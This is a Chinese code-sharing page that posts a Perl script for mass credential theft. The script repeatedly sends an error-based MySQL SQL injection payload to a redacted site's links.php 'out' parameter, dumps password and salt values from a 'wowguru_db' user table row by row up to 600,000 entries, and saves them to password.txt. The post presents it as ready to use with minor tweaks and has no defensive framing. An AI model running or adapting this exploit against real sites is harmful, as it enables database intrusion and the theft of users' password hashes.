我要评论复制代码
代码如下:#!/usr/bin/perl -w
#www.sh3llc0de.com
#转载须注明
#语法 自己改改
use strict;
use lwp::simple;
use utf8;
$|++;
my $count = 1;
for ($count = 1; $count <= 600_000; $count++) {
print 'id: ', $count, "\n";
my $url = 'http://www.***.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (select concat(0x5e24,0x7c,password,0x3a,salt,0x245e) from `wowguru_db`.user limit%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
#print "$url\n";
my $content = get($url);
while ($content =~ m|\^\$(.+?)\$\^|igs) {
open file, ">>", "password.txt" or die $!;
print "$1\n";
print file "$1\n";
close file;
}
}
发表评论